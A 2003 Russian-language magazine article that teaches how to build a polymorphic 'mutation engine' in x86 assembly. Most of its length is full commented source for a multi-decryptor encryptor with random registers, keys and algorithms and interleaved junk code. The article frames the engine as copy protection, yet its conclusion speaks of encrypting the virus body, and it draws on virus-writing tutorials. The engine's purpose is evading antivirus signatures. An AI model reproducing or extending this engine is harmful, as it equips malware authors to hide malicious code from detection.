Гошко С.В., Построение полиморфного мотора, Argc&Argv, сентябрь 2003, стр.49-52
;--------------------[Построение полиморфного мотора]--------------------------; Итак я решил написать статью на столь избитую и старую тему по той лишь причине, что в статьях на данную тему описуются или только методики построения моторов или техники которые желательно использовать в полиморфных генераторах. Существует несколько общих документаций вроде туториала Billy Belcebu, Lord'a Julus'a и других, но они не затрагивают многие аспекты и примеры в них довольно просты. Или же наоборот если взглянуть на стэковый полиморфный генератор Z0mbie в сотрудничестве с Vecna, то я думаю даже профессиональному и очень опытному программисту с ним будет очень даже не просто разобраться. Данная статья надеюсь послужит руководством к действию для тех, кто до этого не писал полиморфных генераторов. Эта статья ориентирована на то, чтобы показать на примере построение полиморфного генератора. Полиморфный генератор это модуль, который зашифровывает код и добавляет к нему расшифровщик. Расшифровщик в идеале не должен ни разу повториться. Данные операции позволяют сделать код мутирующим, каждый раз выглядит по новому. Функциональность же кода остаётся старой. Что же может дать разработчику программного обеспечения полиморфный генератор? Это защита от программ "заплаток"(patch), которые снимают защиту с программного продукта. Вот например взломщик проанализировал в отладчике место проверки пароля на корректность и хочеть обратить переход, а байты которые ему нужно будет подменить в HEX-редакторе он не найдёт. Так же полиморфный мотор надёжно защищает от дизассемблирования. Полиморфный генератор, который мы будем моделировать будет использовать технологию мультидекрипторности(количество полиморфных расшифровщиков довольно высоко). Вообще говоря данная техника безмерно усиливает потенциал полиморфного мотора, но почему-то до недавнего времени ей не уделяли особого внимания. Начнём с того, что нам нужно выбрать скелет декриптора. Но так как я очень ленивый, то люблю всё упрощать а особенно использование своих движков. Поэтому мы создадим наш полиморфный генератор не зависящим от точки входа и виртуального смещения. Условимся, что reg1,reg2 - это 32 битные регистры. Начнём построение скелета декриптора: ;------------------------------------------------------------------------------; call $+5 pop reg1 add reg1,size_of_decryptor-4 mov reg2,reg1 add reg2,size_of_encrypted_code decrypt: add reg1,4 xor/sub/add [reg1],decrypt_key cmp reg1,reg2 jb decrypt ;------------------------------------------------------------------------------; Как вы легко можете пронаблюдать из кода данный полиморфный мотор будет использовать 32 битное шифрование случайным алгоритмом (add/sub/xor). После того, как мы определились с скелетом декриптора. Мы должны решить, что ещё нам будет необходимо при построении полиморфного генератора. Нам понадобится: - Генератор случайных чисел(*) - Генератор мусора(*) Начнём с генератора случайных чисел. Наш генератор будет ориентирован на процессоры не меньше Pentium, так как будет использоваться инструкция rdtsc. Данная инструкция возвращает значение счётчика тиков таймера. Для удобства его использования выделем генератор случайных чисел в отдельный модуль. Что должен уметь генератор мусора? Он должен генерировать исполнимый код оставляя не изменными значащие регистры (используемые в декрипторе). Исполнимый код должен быть как можно более разнообразным. В идеале получившийся декриптор с мусором должен походить на обыкновенную программу с условными переходами и множеством функций. * - Данные модули были включены в статью "Построение простого EPO мотора" Как мы можем пронаблюдать данный генератор мусора производит довольно-таки разнообразный исполнимый код. Недоработаны как я считаю это переходы условные и безусловные, а так же подпрограммы. Но это не суть важно. Важно сейчас то, что мы уже можем построить полиморфный генератор по выбранному нами скелету. Генератор случайных чисел будет использоваться для выбора регистров,генерации длин мусора и самих мусорных инструкций. Рассмотрим полиморфный генератор на примере: ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; [POLYMORPHIC GENERATOR OF SHIT V. 0.4] ; ; ; ; ######### ######## ######## ; ; ########### ########## ########## ; ; ##### ###### ###### ## ###### ## ; ; ##### ##### ##### ##### ; ; ##### ##### ##### ######## ; ; ########### ##### ###### ######## ; ; ######### ##### ###### ##### ; ; ##### ##### ### ##### ; ; ##### ########### ########### ; ; ##### ##### ### ######### ; ; ; ; FOR MS WINDOWS ; ; ; ; BY SL0N ; ;------------------------------------------------------------------------------; ; MANUAL: ; ; BUFFER FOR ENCRYPTED CODE + DECRYPTORS -> EDI ; ; START OF CODE -> EAX ; ; SIZE OF CODE -> ECX ; ; ; ; CALL MORPH ; ; ; ; SIZE OF ENCRYPTED CODE + DECRYPTORS -> ECX ; ; BUFFER WITH ENCRYPTED CODE + DECRYPTORS -> EDI ; ;------------------------------------------------------------------------------; ; (+) DO NOT USE WIN API ; ; (+) EASY TO USE ; ; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES) ; ; (+) USE DELTA OFFSET ; ; (+) USE X87 INSTRUCTIONS ; ; (+) IT CREATES VARIABLE DECRYPTOR SIZE ; ; (+) RANDOMLY CHANGE REGISTERS IN INSTRUCTIONS ; ; (+) RANDOM 32 BIT ENCRYPTION ALGORITHM (ADD/SUB/XOR) ; ; (+) RANDOM NUMBER OF DECRYPTORS ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; morph: push esi ebp ; Сохраняем регистры call delta0 ; delta0: ; Вычисляем pop ebp ; дельта смещение sub ebp,offset delta0 ; push eax ; Кладём в стэк eax decr_number: mov eax,40 ; Генерируем случайное число call brandom32 ; в диапазоне 0..30 test eax,eax ; Если число равно 0, то оно jz decr_number ; нам не подходит mov ebx,eax ; Помещаем число в ebx pop eax ; Восстанавливаем eax multi_decr: mov edx,edi call polym ; mov eax,edx ; add edi,ecx ; Генерируем столько dec ebx ; декрипторов, сколько test ebx,ebx ; записано в регистре ebx jnz multi_decr ; sub edi,ecx ; результатами pop ebp esi ; Восстанавливаем регистры ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; polym: push ebp edi esi ebx ; Сохраняем регистры mov [ebp+sz_code],ecx ; Заносим параметры старта mov [ebp+begin_code],eax ; из регистров в переменные mov [ebp+buff],edx ; mov edi,edx ; ;------------------------------------------------------------------------------; call len_gen ; Вызываем генератор длин mov [ebp+sz_decr],40 add [ebp+sz_decr],ecx ; добавляем длины мусора к ; размеру декриптора call reg_mutate ; Выбираем регистры, которые ; будут использоваться в ; декрипторе mov ecx,[ebp+len+0] ; И генерируем первую партию call garbage ; мусорных инструкций mov al,0e8h ; Генерируем следующую stosb ; инструкцию: call $+5 xor eax,eax ; stosd ; mov ecx,[ebp+len+4] ; Генерируем новую партию call garbage ; мусорных инструкций mov al,58h ; Генерируем следующую add al,bh ; инструкцию декриптора: stosb ; pop reg1 mov ecx,[ebp+len+8] ; Генерируем мусорные call garbage ; инструкции ; Генерируем следующую mov al,81h ; инструкцию декриптора: stosb ; add reg1,sz_decr-len[0] mov al,0c0h ; add al,bh ; Таким образом reg1 будет stosb ; указывать на начало ; закриптованного кода mov eax,[ebp+sz_decr] ; sub eax,[ebp+len] ; sub eax,9 ; stosd ; mov ecx,[ebp+len+12] ; Генерируем мусорные call garbage ; инструкции mov al,8bh ; Генерируем инструкцию: stosb ; mov reg2,reg1 ; mov al,bl ; У нас reg2 позже будет shl al,3 ; использоваться для add al,0c0h ; сравнения add al,bh ; stosb mov ecx,[ebp+len+16] ; Генерируем мусорные call garbage ; инструкции mov al,81h ; stosb ; mov al,0c0h ; add al,bl ; stosb ; ; Генерируем инструкцию: mov eax,[ebp+sz_code] ; add reg2,size_code inc eax stosd ; mov ecx,[ebp+len+20] ; Генерируем мусорные call garbage ; инструкции mov al,81h ; stosb ; Генерируем следующую mov al,0c0h ; инструкцию: add reg1,4 add al,bh ; stosb ; ; mov eax,4 ; stosd ; mov ecx,[ebp+len+24] ; Генерируем следующую call garbage ; партию мусора call random32 ; mov [ebp+key2],eax ; Сохраняем ключ криптования lea eax,[ebp+next] ; Кладём в стэк смещение push eax ; на метку next ; Выбираем один из трёх ; вариантов криптования mov eax,3 ; случайным образом. call brandom32 ; ; Алгоритмы криптования и cmp al,1 ; декриптования: je enc_add32 ; ; 1) XOR cmp al,2 ; 2) ADD je enc_sub32 ; 3) SUB enc_xor32: mov al,81h ; stosb ; Генерируем инструкцию: mov al,30h ; xor [reg1],key_decrypt add al,bh ; stosb ; mov eax,[ebp+key2] stosd push edi ; lea edi,[ebp+crypt_n] ; mov al,33h ; А в самом движке меняется stosb ; алгоритм криптования pop edi ; ret ; Переход на метку next enc_add32: mov al,81h ; stosb ; Генерируем инструкцию: mov al,bh ; add [reg1],key_decrypt stosb ; mov eax,[ebp+key2] stosd push edi ; lea edi,[ebp+crypt_n] ; mov al,2bh ; А в самом движке меняется stosb ; алгоритм криптования pop edi ; ret ; Переход на метку next enc_sub32: mov al,81h ; stosb ; Генерируем следующую mov al,028h ; инструкцию: add al,bh ; sub [reg1],key_decrypt stosb ; mov eax,[ebp+key2] stosd push edi ; lea edi,[ebp+crypt_n] ; А в самом движке меняем mov al,03h ; алгоритм криптования stosb ; pop edi ; ret ; Переход на метку next ;------------------------------------------------------------------------------; next: mov ecx,[ebp+len+28] ; Генерируем очередную call garbage ; партию мусора mov al,3bh ; stosb ; ; xor eax,eax ; mov al,bh ; Генерируем инструкцию: shl al,3 ; cmp reg1,reg2 add al,0c0h ; add al,bl ; stosb ; ;------------------------------------------------------------------------------; mov ax,820fh ; stosw ; xor eax,eax ; dec eax ; Генерируем инструкцию: mov ecx,7*4 ; jb decrypt sub eax,[ebp+len+ecx] ; mov ecx,6*4 ; sub eax,[ebp+len+ecx] ; sub eax,19 ; stosd ; mov ecx,[ebp+len+32] ; Генерируем мусорные call garbage ; инструкции ;------------------------------------------------------------------------------; mov ecx,[ebp+sz_code] ; mov esi,[ebp+begin_code] ; add ecx,esi ; encrypt: ; lodsd ; Криптуем весь код ключом crypt_n: ; и нужным алгоритмом xor eax,[ebp+key2] ; stosd ; cmp esi,ecx ; jl encrypt ; mov edx,[ebp+buff] ; Заполняем регистры mov ecx,[ebp+sz_code] ; результатами add ecx,[ebp+sz_decr] ; pop ebx esi edi ebp ; Востанавливаем регистры ret ; И выходим из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; GARBAGE LENGTH GENERATOR SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; LENGTH OF ALL GARBAGE -> ECX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; len_gen: ; Подпрограмма генерации ; длин для мусорных ; инструкций xor ecx,ecx ; Обнуляем esi и ecx xor esi,esi ; loop1: ; mov eax,100 ; call brandom32 ; Начинаем генерацию ; длин, каждое число mov [ebp+len+esi],eax ; диапазоне 0..100 add ecx,eax ; add esi,4 ; cmp esi,36 ; jne loop1 ; ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; REGISTER MUTATOR SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; USES REGISTER N1 -> BH (0..7) ; ; USES REGISTER N2 -> BL (0..7) ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; reg_mutate: ; Подпрограмма генерации generate1: ; регистров для декриптора mov eax,8 ; Получаем случайное число call brandom32 ; в диапазоне 0..7 cmp al,00000100b ; Используем все регистры je generate1 ; кроме esp cmp al,00000101b ; Используем все регистры je generate1 ; кроме ebp mov bh,al ; Сохраняем полученный ; регистр generate2: mov eax,8 ; Получаем случайное число call brandom32 ; в диапазоне 0..7 cmp al,bh ; Не должно быть двух je generate2 ; идентичных регистров cmp al,00000100b ; Используем все регистры je generate2 ; кроме esp mov bl,al ; Сохраняем полученный ; регистр ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; sz_decr dd 0 ; begin_code dd 0 ; Данные необходимые для st_code dd 0 ; корректной работы sz_code dd 0 ; генератора buff dd 0 ; key2 dd 0 ; ;------------------------------------------------------------------------------; len dd 0,0,0,0,0,0,0,0,0 ; Место для хранения длин ;------------------------------------------------------------------------------; В данном полиморфном генераторе использовалась техника множественных декрипторов. Она подразумевает многократную зашифровку тела вируса и всех предидущих декрипторов. Количество декрипторов выбирается случайным образом, но в рамках от 1..39. Перед и после каждой значащей инструкции декриптора идёт серия мусорных инструкций случайной длины. Регистры в значащих инструкциях не постоянны. Данный полиморфный мотор может использоваться для написания сложных навесных защит программного кода. И запомните всё что получится нужно тестировать рьяно и многократно. ;-------------------------------------------------------------[slon (2003)]----;